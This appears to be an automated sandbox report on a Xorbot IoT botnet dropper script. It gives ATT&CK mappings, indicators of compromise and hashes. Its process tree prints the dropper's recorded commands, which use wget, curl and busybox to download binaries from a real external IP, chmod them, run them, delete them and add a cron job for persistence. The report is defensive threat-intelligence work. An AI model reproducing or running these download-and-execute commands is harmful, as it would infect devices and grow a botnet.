xorbot | ad699033ad9968f9b6b00e67490458853685a019ea1175af2a9e16b584003596

Analysis

max time kernel
149s
max time network
153s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
12/12/2024, 15:11

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General

Target

bins.sh
Size

10KB
MD5

531ee28fc37a4902b784d1dd5bf1a121
SHA1

7cf7691332ab4832b7d2002068d86484004aaa58
SHA256

ad699033ad9968f9b6b00e67490458853685a019ea1175af2a9e16b584003596
SHA512

c6327e912c72a1c66b5cc9a026ab3bbb2270e36466c370ba596e12e7e27c61dba532ab7d08e523470e16c0cf734dd45741f31f9e14ea52069ce372c9b3d0f59c
SSDEEP

192:khX6OrTezXGuQprHUPvvwrTezXaXOrHUPvK:kgmuQprHUPvvprHUPvK

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 4 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-7.dat	family_xorbot
behavioral2/files/fstream-8.dat	family_xorbot
behavioral2/files/fstream-9.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2051) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
696	chmod
795	chmod
801	chmod
808	chmod
816	chmod

Executes dropped EXE 5 IoCs

ioc	pid	Process
/tmp/oyaYpBH63rothDbnOA38oPzt5MAzFC1w75	697	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
/tmp/59DvMSs0AvXOYmTfn84ppIzo5gs5NrsGQ1	796	59DvMSs0AvXOYmTfn84ppIzo5gs5NrsGQ1
/tmp/bAsqCcOUHoCZf9IijtztOWZd4Pno8eLr7H	802	bAsqCcOUHoCZf9IijtztOWZd4Pno8eLr7H
/tmp/scROFhd2yPsIokTYlL6QoiQpko8kFs3z1p	809	scROFhd2yPsIokTYlL6QoiQpko8kFs3z1p
/tmp/6Jk9AMDRKA1OixRY6bY6Lpw5omfwOtMJjv	818	6Jk9AMDRKA1OixRY6bY6Lpw5omfwOtMJjv

Renames itself 1 IoCs

pid	Process
698	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.oikLvm	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/885/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/745/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/24/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/813/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/8/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/817/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/678/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/708/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/906/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/1049/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/1071/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/284/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/104/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/751/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/890/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/913/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/925/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/1031/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/1078/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/41/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/790/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/887/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/983/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/1111/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/1137/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/746/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/720/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/723/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/847/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/912/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/969/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/1043/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/1118/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/281/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/1123/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/1079/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/752/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/994/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/855/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/1080/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/1120/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/1/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/738/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/966/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/1085/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/672/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/1068/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/1091/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/1092/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/1093/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/1062/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/895/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/865/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/1016/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/717/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/918/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/755/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/880/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/928/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/147/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/1035/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/1007/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/770/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
File opened for reading	/proc/860/cmdline	oyaYpBH63rothDbnOA38oPzt5MAzFC1w75

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/oyaYpBH63rothDbnOA38oPzt5MAzFC1w75	busybox
File opened for modification	/tmp/59DvMSs0AvXOYmTfn84ppIzo5gs5NrsGQ1	busybox
File opened for modification	/tmp/bAsqCcOUHoCZf9IijtztOWZd4Pno8eLr7H	busybox
File opened for modification	/tmp/scROFhd2yPsIokTYlL6QoiQpko8kFs3z1p	busybox
File opened for modification	/tmp/6Jk9AMDRKA1OixRY6bY6Lpw5omfwOtMJjv	busybox
File opened for modification	/tmp/oyaYpBH63rothDbnOA38oPzt5MAzFC1w75	wget
File opened for modification	/tmp/oyaYpBH63rothDbnOA38oPzt5MAzFC1w75	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:666
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:671
- /usr/bin/wget
  wget http://37.44.238.68/bins/oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
  2⤵
  - Writes file to tmp directory
  PID:676
- /usr/bin/curl
  curl -O http://37.44.238.68/bins/oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:684
- /bin/busybox
  /bin/busybox wget http://37.44.238.68/bins/oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
  2⤵
  - Writes file to tmp directory
  PID:693
- /bin/chmod
  chmod 777 oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
  2⤵
  - File and Directory Permissions Modification
  PID:696
- /tmp/oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
  ./oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:697
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:699
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:700
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:702
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:704
- /bin/rm
  rm oyaYpBH63rothDbnOA38oPzt5MAzFC1w75
  2⤵
  PID:707
- /usr/bin/wget
  wget http://37.44.238.68/bins/59DvMSs0AvXOYmTfn84ppIzo5gs5NrsGQ1
  2⤵
  PID:710
- /usr/bin/curl
  curl -O http://37.44.238.68/bins/59DvMSs0AvXOYmTfn84ppIzo5gs5NrsGQ1
  2⤵
  PID:712
- /bin/busybox
  /bin/busybox wget http://37.44.238.68/bins/59DvMSs0AvXOYmTfn84ppIzo5gs5NrsGQ1
  2⤵
  - Writes file to tmp directory
  PID:793
- /bin/chmod
  chmod 777 59DvMSs0AvXOYmTfn84ppIzo5gs5NrsGQ1
  2⤵
  - File and Directory Permissions Modification
  PID:795
- /tmp/59DvMSs0AvXOYmTfn84ppIzo5gs5NrsGQ1
  ./59DvMSs0AvXOYmTfn84ppIzo5gs5NrsGQ1
  2⤵
  - Executes dropped EXE
  PID:796
- /bin/rm
  rm 59DvMSs0AvXOYmTfn84ppIzo5gs5NrsGQ1
  2⤵
  PID:797
- /usr/bin/wget
  wget http://37.44.238.68/bins/bAsqCcOUHoCZf9IijtztOWZd4Pno8eLr7H
  2⤵
  PID:798
- /usr/bin/curl
  curl -O http://37.44.238.68/bins/bAsqCcOUHoCZf9IijtztOWZd4Pno8eLr7H
  2⤵
  PID:799
- /bin/busybox
  /bin/busybox wget http://37.44.238.68/bins/bAsqCcOUHoCZf9IijtztOWZd4Pno8eLr7H
  2⤵
  - Writes file to tmp directory
  PID:800
- /bin/chmod
  chmod 777 bAsqCcOUHoCZf9IijtztOWZd4Pno8eLr7H
  2⤵
  - File and Directory Permissions Modification
  PID:801
- /tmp/bAsqCcOUHoCZf9IijtztOWZd4Pno8eLr7H
  ./bAsqCcOUHoCZf9IijtztOWZd4Pno8eLr7H
  2⤵
  - Executes dropped EXE
  PID:802
- /bin/rm
  rm bAsqCcOUHoCZf9IijtztOWZd4Pno8eLr7H
  2⤵
  PID:804
- /usr/bin/wget
  wget http://37.44.238.68/bins/scROFhd2yPsIokTYlL6QoiQpko8kFs3z1p
  2⤵
  PID:805
- /usr/bin/curl
  curl -O http://37.44.238.68/bins/scROFhd2yPsIokTYlL6QoiQpko8kFs3z1p
  2⤵
  PID:806
- /bin/busybox
  /bin/busybox wget http://37.44.238.68/bins/scROFhd2yPsIokTYlL6QoiQpko8kFs3z1p
  2⤵
  - Writes file to tmp directory
  PID:807
- /bin/chmod
  chmod 777 scROFhd2yPsIokTYlL6QoiQpko8kFs3z1p
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /tmp/scROFhd2yPsIokTYlL6QoiQpko8kFs3z1p
  ./scROFhd2yPsIokTYlL6QoiQpko8kFs3z1p
  2⤵
  - Executes dropped EXE
  PID:809
- /bin/rm
  rm scROFhd2yPsIokTYlL6QoiQpko8kFs3z1p
  2⤵
  PID:811
- /usr/bin/wget
  wget http://37.44.238.68/bins/6Jk9AMDRKA1OixRY6bY6Lpw5omfwOtMJjv
  2⤵
  PID:812
- /usr/bin/curl
  curl -O http://37.44.238.68/bins/6Jk9AMDRKA1OixRY6bY6Lpw5omfwOtMJjv
  2⤵
  PID:813
- /bin/busybox
  /bin/busybox wget http://37.44.238.68/bins/6Jk9AMDRKA1OixRY6bY6Lpw5omfwOtMJjv
  2⤵
  - Writes file to tmp directory
  PID:814
- /bin/chmod
  chmod 777 6Jk9AMDRKA1OixRY6bY6Lpw5omfwOtMJjv
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/6Jk9AMDRKA1OixRY6bY6Lpw5omfwOtMJjv
  ./6Jk9AMDRKA1OixRY6bY6Lpw5omfwOtMJjv
  2⤵
  - Executes dropped EXE
  PID:818
- /bin/rm
  rm 6Jk9AMDRKA1OixRY6bY6Lpw5omfwOtMJjv
  2⤵
  PID:821
- /usr/bin/wget
  wget http://37.44.238.68/bins/qHETQ8adeQBklm1gsgVzvgCTvt8nTVmrzx
  2⤵
  PID:823

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/59DvMSs0AvXOYmTfn84ppIzo5gs5NrsGQ1

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/6Jk9AMDRKA1OixRY6bY6Lpw5omfwOtMJjv

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/bAsqCcOUHoCZf9IijtztOWZd4Pno8eLr7H

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/oyaYpBH63rothDbnOA38oPzt5MAzFC1w75

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/tmp/scROFhd2yPsIokTYlL6QoiQpko8kFs3z1p

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/var/spool/cron/crontabs/tmp.oikLvm

Filesize
210B

MD5
1cbe2b180d0dc25bf84514988f8f375e

SHA1
4054f48fea3fd8e61151c4208389786a4411f5f1

SHA256
cee7e485baf41d4b978420090bb30380acb2d73b03585559878f869077fac0ab

SHA512
49d4130e8441321e0607c2609183eea6085c2a10d0c385c9f572ccc57df66a457f424df85eedad9296eb0d64963d4aaced9a1f08da734a14d7c0c69d279ba57a

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads